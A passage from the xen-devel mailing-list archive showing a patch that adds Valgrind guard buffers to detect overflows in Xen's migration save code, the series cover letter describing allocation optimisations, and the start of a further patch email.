 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <freddy77@gmail.com>) id 1wif8n-00083H-OR
 for xen-devel@lists.xenproject.org; Sat, 11 Jul 2026 21:21:41 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wif8n-00Ac2k-5L
 for xen-devel@lists.xenproject.org; Sat, 11 Jul 2026 23:21:41 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a52b3bd-5cb7-0a2a0a5109dd-0a2a4508bcba-4
 for <xen-devel@lists.xenproject.org>; Sat, 11 Jul 2026 23:21:41 +0200
Received: from [209.85.128.45] (helo=mail-wm1-f45.google.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <freddy77@gmail.com>)
 id 6a52b3e4-ee29-0a2a45080019-d155802da550-3
 for <xen-devel@lists.xenproject.org>; Sat, 11 Jul 2026 23:21:41 +0200
Received: by mail-wm1-f45.google.com with SMTP id
 5b1f17b1804b1-4938d5f86f3so14815375e9.1
 for <xen-devel@lists.xenproject.org>; Sat, 11 Jul 2026 14:21:41 -0700 (PDT)
Received: from localhost.localdomain (2.115.147.147.dyn.plus.net.
 [147.147.115.2]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47a9de1d8cdsm74809460f8f.1.2026.07.11.14.21.39
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Sat, 11 Jul 2026 14:21:39 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783804900; x=1784409700; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=jLiExMbqfLeimgkvhGVcWHLdFUDKqJKlc0Jm68oRzVw=;
        b=qKOmbQSnonOZqgUT0DSCYCeFR4DGS3A+5LtGSPToBckEZQQ4PdEft7c7loD27vgJR2
         Nk5PIqcU7gVH3IEmnSRxnaPBMYXyWOAgsc+5Sny2rufiywI6YIRlAbNTdG1E71eMKK/0
         wViJW7jqArTW72lRorwOFJSgXiR7dhEJZomBqml2d3kpRZJg8GbRsH3c0ceNGVbMi01g
         kzlQxXbwAhHTkLOmAGO4cDdSi8ZomLyVZ+TsxgmkFgHibZFlTX5+/ap3MUOyLGQqdmi0
         M6wQbd7WtF5jH3gc5sInILU+67DkYc8cxn/mQHtWYzcQtDZtxOgnYmUZ6LDiQ+5huPnS
         GXPA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783804900; x=1784409700;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to:content-type;
        bh=jLiExMbqfLeimgkvhGVcWHLdFUDKqJKlc0Jm68oRzVw=;
        b=dBUFBjlFN9CtECmrobEQrVLtA2d4p1H2qYhZit2NtutYmzlcfnEDqJuZ8SBSjXKPqh
         8/IZo5kbt5cNKp633gAlqRBOYK2Vd3L/9Fga7eVL9nWDjm3Rlq1pOLOH8Esa4jearnFk
         YdGX73JnMu3ChvR0FE4MAp4zLveNjR9dLEwCEuydaAPB9MVBGKVn6cx7je17X/16S+l1
         Fc5L278YOWSl01kp/h65BMz9+nKHm4ivbQInXKSPohk59riOFuT/aYxLN67Xy0CxJitl
         TrgMjz6B++2e6pnHtwkXdmkfPPdH8PaOSPVYgZ/eKfaYiQgcVvJJ/N5QCJ/MP+dq3Z9G
         PjnA==
X-Gm-Message-State: AOJu0Yz3hJ8CJopmHsvXG9WziSX6ZWQyOb2xAgdpw0zUC6yG+YW/Do2S
	nclyNXl+IWeBW7eM8bYhJ35KT9qRLk6hskWGeemZbgKUak+G8K3HL2MPVOjYAl4k54Q=
X-Gm-Gg: AfdE7ckrRYtjB813tepjrLlzguNCl5mjrbXdygCeprWHWN4uMzGaZ0xwcIxr3aTktyn
	y04oHvMFKg4yENqXuliKwrUOb9XTDK/axW8qJA6jucn1UsRJ+BvoQpY0JZINk0NKseyAJbcykXa
	nLCvUe/zUxM+oS8p7Q3hKPJcIDRca3RGtHvnlH+BtNoxhHusFw7M27hZJ8Flk3A0af2X8+OLuMb
	toxiyC9vpdORNMZajV8i0QyPBKmUgRvhOurFfD5Vj5xE+4XQZJpYK6Y9xOS1K+2GWGVQpkS7gqR
	hLdJIZThrSNC2Ycd4wRO1cGi2zA/xnb2AnzHVVX+/+2W+d23y+/nuyXakMDV92OfDYqQ7+XhJTK
	9hOLod99asy8zgPWLyXJKiA1cuuOsUPnF9XfNAnbR9UwL3zIXn6gH48JdP+BFGZpdiOLNyZIwPP
	8LAm8cgCuBfXYPW7XtjasH/xtWgprtlLCzM/ZPV3iSzbiQ4SHc/OF/s4U7aj78dQUiv4GgRm6uQ
	NGhMijx6e2T00IniFw=
X-Received: by 2002:a05:600c:6749:b0:493:edde:54c8 with SMTP id 5b1f17b1804b1-493f8885b92mr39245425e9.8.1783804900465;
        Sat, 11 Jul 2026 14:21:40 -0700 (PDT)
From: Frediano Ziglio <freddy77@gmail.com>
X-Google-Original-From: Frediano Ziglio <frediano.ziglio@citrix.com>
To: xen-devel@lists.xenproject.org
Cc: Frediano Ziglio <frediano.ziglio@citrix.com>,
	Jan Beulich <jbeulich@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Juergen Gross <jgross@suse.com>
Subject: [PATCH v8 4/4] libs/guest: use Valgrind to detect various buffer overflows
Date: Sat, 11 Jul 2026 22:21:28 +0100
Message-ID: <20260711212128.505727-5-frediano.ziglio@citrix.com>
X-Mailer: git-send-email 2.43.0
In-Reply-To: <20260711212128.505727-1-frediano.ziglio@citrix.com>
References: <20260711212128.505727-1-frediano.ziglio@citrix.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-c1860d/1783804901-11D7201C-55CF5499/0/0
X-purgate-type: clean
X-purgate-size: 4031

Previously this was done as buffers were allocated separately.

Signed-off-by: Frediano Ziglio <frediano.ziglio@citrix.com>
---
 tools/libs/ctrl/xc_private.h    |  8 ++++++++
 tools/libs/guest/xg_sr_common.h |  8 ++++++++
 tools/libs/guest/xg_sr_save.c   | 12 ++++++++++++
 3 files changed, 28 insertions(+)

diff --git a/tools/libs/ctrl/xc_private.h b/tools/libs/ctrl/xc_private.h
index 8a325c17b0..bef96521c3 100644
--- a/tools/libs/ctrl/xc_private.h
+++ b/tools/libs/ctrl/xc_private.h
@@ -45,8 +45,16 @@
 #if defined(HAVE_VALGRIND_MEMCHECK_H) && !defined(NDEBUG) && !defined(__MINIOS__)
 /* Compile in Valgrind client requests? */
 #include <valgrind/memcheck.h>
+#define MEM_NOACCESS_BUFFER(name, size) uint8_t name[size];
+#define MEM_NOACCESS_INIT(field) \
+    VALGRIND_MAKE_MEM_NOACCESS(field, sizeof(field))
+#define MEM_UNDEFINED_INIT(field) \
+    VALGRIND_MAKE_MEM_UNDEFINED(field, sizeof(field))
 #else
 #define VALGRIND_MAKE_MEM_UNDEFINED(addr, len) /* addr, len */
+#define MEM_NOACCESS_BUFFER(name, size)
+#define MEM_NOACCESS_INIT(field) do {} while(0)
+#define MEM_UNDEFINED_INIT(field) do {} while(0)
 #endif
 
 #if defined(__MINIOS__)
diff --git a/tools/libs/guest/xg_sr_common.h b/tools/libs/guest/xg_sr_common.h
index c07c6db59e..d3fc7f363e 100644
--- a/tools/libs/guest/xg_sr_common.h
+++ b/tools/libs/guest/xg_sr_common.h
@@ -245,13 +245,21 @@ struct xc_sr_context
             xc_hypercall_buffer_t dirty_bitmap_hbuf;
             struct xc_sr_context_save_buffers
             {
+                MEM_NOACCESS_BUFFER(na0, 16);
                 xen_pfn_t batch_pfns[MAX_BATCH_SIZE];
+                MEM_NOACCESS_BUFFER(na1, 16);
                 xen_pfn_t mfns[MAX_BATCH_SIZE];
+                MEM_NOACCESS_BUFFER(na2, 16);
                 xen_pfn_t types[MAX_BATCH_SIZE];
+                MEM_NOACCESS_BUFFER(na3, 16);
                 void *local_pages[MAX_BATCH_SIZE];
+                MEM_NOACCESS_BUFFER(na4, 16);
                 struct iovec iov[MAX_BATCH_SIZE + 2]; /* Headers + data. */
+                MEM_NOACCESS_BUFFER(na5, 16);
                 uint64_t rec_pfns[MAX_BATCH_SIZE];
+                MEM_NOACCESS_BUFFER(na6, 16);
                 int errors[MAX_BATCH_SIZE];
+                MEM_NOACCESS_BUFFER(na7, 16);
             } *buffers;
         } save;
 
diff --git a/tools/libs/guest/xg_sr_save.c b/tools/libs/guest/xg_sr_save.c
index 34e41cf410..c5022b2a1d 100644
--- a/tools/libs/guest/xg_sr_save.c
+++ b/tools/libs/guest/xg_sr_save.c
@@ -115,8 +115,10 @@ static int write_batch(struct xc_sr_context *ctx)
     assert(ctx->save.buffers);
 
     /* Mfns of the batch pfns. */
+    MEM_UNDEFINED_INIT(ctx->save.buffers->mfns);
     mfns = ctx->save.buffers->mfns;
     /* Types of the batch pfns. */
+    MEM_UNDEFINED_INIT(ctx->save.buffers->types);
     types = ctx->save.buffers->types;
     /* Errors from attempting to map the gfns. */
     errors = ctx->save.buffers->errors;
@@ -124,8 +126,10 @@ static int write_batch(struct xc_sr_context *ctx)
     local_pages = ctx->save.buffers->local_pages;
     memset(local_pages, 0, sizeof(*local_pages) * nr_pfns);
     /* iovec[] for writev(). */
+    MEM_UNDEFINED_INIT(ctx->save.buffers->iov);
     iov = ctx->save.buffers->iov;
     /* page_data record PFNs list */
+    MEM_UNDEFINED_INIT(ctx->save.buffers->rec_pfns);
     rec_pfns = ctx->save.buffers->rec_pfns;
 
     iov[0].iov_base = &hdrs;
@@ -788,6 +792,14 @@ static int setup(struct xc_sr_context *ctx)
         errno = ENOMEM;
         goto err;
     }
+    MEM_NOACCESS_INIT(ctx->save.buffers->na0);
+    MEM_NOACCESS_INIT(ctx->save.buffers->na1);
+    MEM_NOACCESS_INIT(ctx->save.buffers->na2);
+    MEM_NOACCESS_INIT(ctx->save.buffers->na3);
+    MEM_NOACCESS_INIT(ctx->save.buffers->na4);
+    MEM_NOACCESS_INIT(ctx->save.buffers->na5);
+    MEM_NOACCESS_INIT(ctx->save.buffers->na6);
+    MEM_NOACCESS_INIT(ctx->save.buffers->na7);
 
     rc = 0;
 
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Sat Jul 11 21:21:59 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sat, 11 Jul 2026 21:21:59 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1360641.1613380 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wif8k-0007Ur-II; Sat, 11 Jul 2026 21:21:38 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1360641.1613380; Sat, 11 Jul 2026 21:21:38 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wif8k-0007Uk-F7; Sat, 11 Jul 2026 21:21:38 +0000
Received: by outflank-mailman (input) for mailman id 1360641;
 Sat, 11 Jul 2026 21:21:37 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <freddy77@gmail.com>) id 1wif8j-0007Ud-9Q
 for xen-devel@lists.xenproject.org; Sat, 11 Jul 2026 21:21:37 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wif8i-009avd-Ml
 for xen-devel@lists.xenproject.org; Sat, 11 Jul 2026 23:21:36 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a52b3d8-bab6-0a2a0a5309dd-0a2a450ce6a8-4
 for <xen-devel@lists.xenproject.org>; Sat, 11 Jul 2026 23:21:36 +0200
Received: from [209.85.221.44] (helo=mail-wr1-f44.google.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <freddy77@gmail.com>)
 id 6a52b3e0-e897-0a2a450c0019-d155dd2cd504-3
 for <xen-devel@lists.xenproject.org>; Sat, 11 Jul 2026 23:21:36 +0200
Received: by mail-wr1-f44.google.com with SMTP id
 ffacd0b85a97d-47c6e9a694bso1076002f8f.1
 for <xen-devel@lists.xenproject.org>; Sat, 11 Jul 2026 14:21:36 -0700 (PDT)
Received: from localhost.localdomain (2.115.147.147.dyn.plus.net.
 [147.147.115.2]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47a9de1d8cdsm74809460f8f.1.2026.07.11.14.21.34
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Sat, 11 Jul 2026 14:21:34 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:MIME-Version:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783804896; x=1784409696; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:mime-version:message-id:date
         :subject:cc:to:from:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=2Hvjp/GX5/QP98aI33yA/Q0kEzimP6odD6z1TpjkVxY=;
        b=KD1cI4dDd8NO86aflyFrV/lLNvQ1FcjPdyA7p1dazYGMAbcRF/7dgKmiUBZMtKF8Jd
         p1MTq7seg+e1uzxc0r0SvlWhWWOKi23u/9ys9YvFXcsfBOd7addgbRbnOlMxrkj4TQRE
         4sb1B5mEzyK9nMKzlK1ANs9sHoe/Au0qAa+grwCagG52wAXB046t08ezJRIFdD7RYXzL
         4jXAdUcxfvsgoBMir6hIMwV3+23+q2rzSt+6DOPPR4SXfR9Z9GQjqND+LLtkoOFp47LQ
         OSEam6wO//T7Lej88H9Tqb1XIuxkK/uRxlWKoGVTxgcTCSY5CuGkTIIFPX34BRM7zplh
         G3VQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783804896; x=1784409696;
        h=content-transfer-encoding:content-type:mime-version:message-id:date
         :subject:cc:to:from:x-gm-gg:x-gm-message-state:from:to:cc:subject
         :date:message-id:reply-to:content-type;
        bh=2Hvjp/GX5/QP98aI33yA/Q0kEzimP6odD6z1TpjkVxY=;
        b=TMEOA9fkIgcufK793iRVVTmj9OcmlkrAsIjOY3JXZGLNPquDsgPFTAl/jNhQrJyvOh
         ACrVjWn541UDPlBCT/fIG1um1dYu8tceHIySHFjK0f804S3/eQvJFY8CVuf3qcq6jIPl
         jDa2JCxY09JP4gLsBlOzsyt/FbFzIUoBjAPKA1Twj393ByPs0EEMM+LazDoF/907yD3C
         kFxcJz7PKdaypk4tL5J7Kd2e0xX518X4nyNLc3bJV1byOT9uK4G1HtUifQTDB8An2Kuo
         23R12RX6wvjkZHk5UXW1pSetMpbWnMe2lj/h8zycjGOgzn9GvrmPRGyTncqb3UID79sv
         Ktdw==
X-Gm-Message-State: AOJu0YzN5VwUONTLy+WBPPMG/HFUJ9D96v3AXGRB6FzM8u3jp6S3bHe+
	/hDaiS7luMvoyboYqieC6eA+OyCP1bkYsLoxpM/cTDj+gi8iJh1S6cRwulhS+SYb
X-Gm-Gg: AfdE7clieRoQph2FBMLAaRl8LNMLbt+DWpBkG3MiteH0z0aRF76+59RuUsq6IIqkmxV
	osRusVuFp4K31hgih9NHv98Lbji3q6f9MbBJGKNpVsQcx80JPYVhvzYbR5lL8EaV6I+rLMHzuUL
	PT0roQOaynf0WRFAxL/tEkIdJ1dzMpuhx9uKxCr7dRoUQmZW7viw7SFFW3LxBlGFoqWjTnD3TVF
	s0yYxD/m03eJp99vAeTyVis2x3UePXY7HIooBQfaJmSJnFpWjHYBqAzV7Xz7hUfyAtfyXcKuHQD
	3V75y31XyCfee+CV1vqHkS3NWW05s4jbsdJ6oHrOMp+oGlQwkAbXGCtzmubREEe0sumcNKDuTsT
	xRAj5HkEAQ+NfOXb9/G028NfM8sKs/VTiD5K2glMNPvsd2q+l3L+iFiG+TLeEjrTVHpbQZl5qZx
	7/3PjrqnmMugGP2Om6MFRuHjMvzecA/CSfp8dQ/wNzROW4BHiG1pCVxca0Q6h3JER7balXBlXla
	PqemJP94P8RbY5o5ENpfpqfM1/LRQ==
X-Received: by 2002:a05:6000:2907:b0:464:8d68:618a with SMTP id ffacd0b85a97d-47f2dce9703mr3986211f8f.32.1783804895816;
        Sat, 11 Jul 2026 14:21:35 -0700 (PDT)
From: Frediano Ziglio <freddy77@gmail.com>
X-Google-Original-From: Frediano Ziglio <frediano.ziglio@citrix.com>
To: xen-devel@lists.xenproject.org
Cc: Frediano Ziglio <frediano.ziglio@citrix.com>,
	Jan Beulich <jbeulich@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Juergen Gross <jgross@suse.com>
Subject: [PATCH v8 0/4] xenguest optimisations
Date: Sat, 11 Jul 2026 22:21:24 +0100
Message-ID: <20260711212128.505727-1-frediano.ziglio@citrix.com>
X-Mailer: git-send-email 2.43.0
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-d25034/1783804896-45EF46B2-061BD42A/0/0
X-purgate-type: clean
X-purgate-size: 1742

Reduce number of allocations sending memory state.

Changes since v1:
- add commit to cache up to 4 pages in hypercall;
- add other 2 commits reducing chunks passed to write/writev.

Changes since v2:
- update patches commit prefixes;
- add other 2 optisations.

Changes since v3:
- address some comments;
- add patches for foreign copy optimisation.

Changes since v4:
- added Reviewed-by;
- improved commit messages;
- other minor fixes, see individual commits.

Changes since v5:
- avoids potential buffer underflow if nr_pages is 0 calling cache_alloc;
- do not overwrite errno if xenforeignmemory_map fails;
- lot of changes to "implement new foreign copy hypercall", see specific
  commit.

Changes since v6:
- removed merged patch;
- keep only optimization commits for now;
- improve comments;
- merged "fill directly iov structure collapsing them" and moved it;
- split "allocate various migration arrays just once";
- add a commit for memory checks using Valgrind.

Changes since v7:
- removed merged commits;
- minor style fixes.

Edwin TÃ¶rÃ¶k (2):
  libs/call: cache up to 4 pages in hypercall bounce buffers
  libs/guest: allocate various migration arrays just once

Frediano Ziglio (2):
  libs/guest: move batch_pfns into a separate structure
  libs/guest: use Valgrind to detect various buffer overflows

 tools/libs/call/buffer.c        | 34 ++++++++++-----
 tools/libs/call/core.c          |  3 +-
 tools/libs/call/private.h       |  8 ++--
 tools/libs/ctrl/xc_private.h    |  8 ++++
 tools/libs/guest/xg_sr_common.h | 19 ++++++++-
 tools/libs/guest/xg_sr_save.c   | 74 +++++++++++++++++----------------
 6 files changed, 95 insertions(+), 51 deletions(-)

-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Sat Jul 11 21:21:59 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sat, 11 Jul 2026 21:21:59 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1360642.1613390 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wif8l-0007hd-Pi; Sat, 11 Jul 2026 21:21:39 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1360642.1613390; Sat, 11 Jul 2026 21:21:39 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wif8l-0007hW-M6; Sat, 11 Jul 2026 21:21:39 +0000
Received: by outflank-mailman (input) for mailman id 1360642;
 Sat, 11 Jul 2026 21:21:38 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <freddy77@gmail.com>) id 1wif8k-0007Uj-Pk
 for xen-devel@lists.xenproject.org; Sat, 11 Jul 2026 21:21:38 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wif8j-002lyX-Is
 for xen-devel@lists.xenproject.org; Sat, 11 Jul 2026 23:21:37 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a52b3c8-2eae-0a2a0a5409dd-0a2a4507a3a0-4
 for <xen-devel@lists.xenproject.org>; Sat, 11 Jul 2026 23:21:37 +0200
Received: from [209.85.221.51] (helo=mail-wr1-f51.google.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <freddy77@gmail.com>)
 id 6a52b3e1-ac46-0a2a45070019-d155dd33a40f-3
 for <xen-devel@lists.xenproject.org>; Sat, 11 Jul 2026 23:21:37 +0200
Received: by mail-wr1-f51.google.com with SMTP id
 ffacd0b85a97d-4758bd3731bso1326941f8f.0
 for <xen-devel@lists.xenproject.org>; Sat, 11 Jul 2026 14:21:37 -0700 (PDT)
Received: from localhost.localdomain (2.115.147.147.dyn.plus.net.
 [147.147.115.2]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47a9de1d8cdsm74809460f8f.1.2026.07.11.14.21.35
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Sat, 11 Jul 2026 14:21:36 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783804897; x=1784409697; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:mime-version:references
         :in-reply-to:message-id:date:subject:cc:to:from:from:to:cc:subject
         :date:message-id:reply-to:content-type;
        bh=yDwLVp2T+0d9NzRyPiF1z4X+HynXJvUa2aJRE8bIVuE=;
        b=lyMN//Ky5+EBkXOjZSXcQP5Gc8zGSaH1IJK7/F/CJ/HU8PirQWMKmqMv4Nt2MMgXoz
         nlj8qoXPaX0TmZc6Tb7kUupIB9FxfR7yju24pyimb0W5rCd8MMPQC3J24d06P4DGxMtR
         nO0cAeQ80yRxIZsmtuFUqcAl/WfKcXPw3yygJ24p8azmHMUTFAPL16IqM2hSzwX3frMi
         im/EqDX6dsMOTqKNBiW80xPgkwU2zCf08xY0W+jJ/zJeyIoXx8Ql8JCiO6OI1Z9Y42Mf
         vECgXKCGYyJ0eZg79O2AaFvif2YwoYVoDONmK4xEGHHljJ2wZKd0flk/MPOUcgAqF1PX
         EGNQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783804897; x=1784409697;
        h=content-transfer-encoding:content-type:mime-version:references
         :in-reply-to:message-id:date:subject:cc:to:from:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=yDwLVp2T+0d9NzRyPiF1z4X+HynXJvUa2aJRE8bIVuE=;
        b=pw2INfSQ3+0pmDJjRVLqdRu559pOR5OwV2yBb0+eBLSkPaB4R/hW07wBVqWIUFRfq4
         /XaeKZzeymvChTARkDr0WcogseB4yg6PtPL3h9I8lneCxiRs4Ke8PYUBPF6YIerjMguF
         dpgPzLXyjiuRt1u+9s2IZTHK7Y0G/MslawD75b/kpOPiWlnqzxtu1OIwXgheSCrLXjwS
         wr8v0pBNvpHGtWu1ylWQxhxdeMAEG+LhQs3pV0pdZ4bNSzfJQPphn8m2CWU55GDgH1LV
         /FdFFWGHq9Us0iozraOEy3pLcZfREdQ7130mtzIn/tq1Q8xNGadvz9R7PaMnxfaHquci
         P+2w==
X-Gm-Message-State: AOJu0YzzJhe9zL/kWDB/e5dB7n5aNQAV6tFpv7rB3V0YmKgh9N4s9AJc
	WaSuzqIMgWRLHuA+WfQ3tCTEyUqP3FF736HUzKMFKBFbjG44UksNxDvh8DJRWa7M
X-Gm-Gg: AfdE7ckFNMlaKQ5wauoUScyopOFqb84U4qSYhvRugNDkc9Kl5VnM3AeHL2ct8ugif7F
	R6Rqdh7nHeBc1cWo3bl/mgpQMUtRhztsqhklqo/sqGS2FRCmSCQYy3mN6BT4DQxzqJ5S9HOlpZF
	/PrkLy7ym+MZFzouHFtgr6Vp3oCGJkuYa4JGYzYm3Wnleii/Ik27lKmO2Hz8pp4EDrB7nNNkgmb
	4bOogOXrak2qsKp2WoJUZpLp9NldRE5Tqa6aHMWDmV4wtG2EDB4P1LnBD9HuIYD2UtNR46S/9yh
	xA9PBMBcBt7MaQXYm2AOxgBizFEmnW9aUw7ON4aunEZmVjWY2cPwVr6J+aTgeADYqv8TwqZhaR/
	uerwNXQ/XVHsD5FByuSn9n3UL4ZYYDz+z1wlyP1/RoAa1j2KQb+/09uJQKfPq2Sbb+4MoqEQvTK
	/PefuQrF0U2OYRuIqR6Pj8WEFI1c1iCrjyW9rSDPTq3I9pZsXjI4XtwSmUUjhrBRVpqzGPe3Joo
	6op4fMTRYwYA4f1bcM=
X-Received: by 2002:a05:6000:2382:b0:472:1424:fc7c with SMTP id ffacd0b85a97d-47ef695ba2fmr10411461f8f.10.1783804896778;
        Sat, 11 Jul 2026 14:21:36 -0700 (PDT)
From: Frediano Ziglio <freddy77@gmail.com>
X-Google-Original-From: Frediano Ziglio <frediano.ziglio@citrix.com>
To: xen-devel@lists.xenproject.org
Cc: =?UTF-8?q?Edwin=20T=C3=B6r=C3=B6k?= <edwin.torok@citrix.com>,
	Jan Beulich <jbeulich@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Juergen Gross <jgross@suse.com>,
	Frediano Ziglio <frediano.ziglio@citrix.com>
Subject: [PATCH v8 1/4] libs/call: cache up to 4 pages in hypercall bounce buffers
Date: Sat, 11 Jul 2026 22:21:25 +0100
Message-ID: <20260711212128.505727-2-frediano.ziglio@citrix.com>
X-Mailer: git-send-email 2.43.0
In-Reply-To: <20260711212128.505727-1-frediano.ziglio@citrix.com>
References: <20260711212128.505727-1-frediano.ziglio@citrix.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-ef75cf/1783804897-D8E36201-76D78473/0/0
X-purgate-type: clean
X-purgate-size: 5606

From: Edwin TÃ¶rÃ¶k <edwin.torok@citrix.com>

